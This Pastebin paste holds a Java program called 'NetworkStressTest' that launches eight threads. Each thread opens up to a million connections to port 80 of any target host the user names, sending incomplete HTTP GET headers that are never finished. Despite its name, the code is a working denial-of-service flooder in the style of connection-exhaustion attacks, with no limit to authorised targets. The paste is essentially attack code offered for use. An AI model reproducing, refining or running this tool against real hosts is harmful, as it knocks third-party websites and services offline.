Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.BufferedWriter;
- import java.io.IOException;
- import java.io.OutputStreamWriter;
- import java.net.Socket;
- import java.net.UnknownHostException;
- public class NetworkStressTest extends Socket implements Runnable {
- static NetworkStressTest instance = new NetworkStressTest();
- static String TARGET;
- public static void main(String[] args) {
- if (args.length < 1)
- {
- TARGET="ANY_ADDRESS_WHICH_YOU_WISH"; // Such as domain.com or 10.10.0.1
- }
- else
- {
- TARGET = args[0];
- }
- for (int i = 0; i < 8; i++)
- {
- new Thread(instance).start();
- }
- }
- public void run() {
- for (int i = 1; i <= 1000000; i++)
- {
- try
- {
- Socket net = new Socket(TARGET, 80); // Connects the Socket to the TARGET port 80.
- sendRawLine("GET / HTTP/1.1", net); // Sends the GET / OutputStream
- sendRawLine("Host: " + TARGET, net); // Sends Host: to the OutputStream
- System.out.println("Current Connection: " + i);
- }
- catch (UnknownHostException e)
- {
- System.out.println("NetworkStressTest.run: " + e);
- }
- catch (IOException e)
- {
- System.out.println("NetworkStressTest.run: " + e);
- }
- }
- }
- public static void sendRawLine(String text, Socket sock) {
- try
- {
- BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
- out.write(text + " ");
- out.flush();
- }
- catch (IOException ex)
- {
- ex.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement